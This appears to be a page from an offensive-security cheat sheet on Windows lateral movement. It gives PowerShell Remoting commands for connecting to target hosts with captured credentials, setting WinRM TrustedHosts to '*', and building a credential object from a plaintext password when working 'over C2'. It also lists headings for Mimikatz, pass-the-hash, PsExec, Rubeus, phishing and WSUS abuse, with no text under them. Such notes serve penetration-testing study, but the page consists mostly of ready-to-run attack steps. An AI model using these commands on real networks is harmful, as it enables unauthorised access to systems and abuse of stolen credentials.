Lateral Movement
PSRemoting
PSRemoting Session
New-PSSession -ComputerName Target1
Enter-PSSession -ComputerName Target1
# Set trusted hosts to psremote to IP rather than hostname
winrm set winrm/config/client ‘@{TrustedHosts="*"}’
# Connect with local admin creds
enter-pssession 192.168.144.100 -Authentication Negotiate -Credential $credPass Creds
# If you have RDP access and can get a prompt
$cred = Get-Credential Domain\Username
invoke-command -Credential $cred -computername x -scriptblock {whoami}
# If you are over C2 and cant get a prompt
$password = "Password123" | ConvertTo-SecureString -AsPlainText -Force; $cred = New-Object System.Management.Automation.PSCredential("Domain\User",$password); invoke-command -computername 192.168.144.197 -Credential $cred -scriptblock {whoami}PSRemoting Invoke-Command
Stateful Mimikatz
Invoke-Mimikatz
Double Hop Problem
PowerShell
PsExec / Rubeus
Phish
Pass-The-Hash
PsExec
WSUS
Enumeration
Abuse
Last updated
Was this helpful?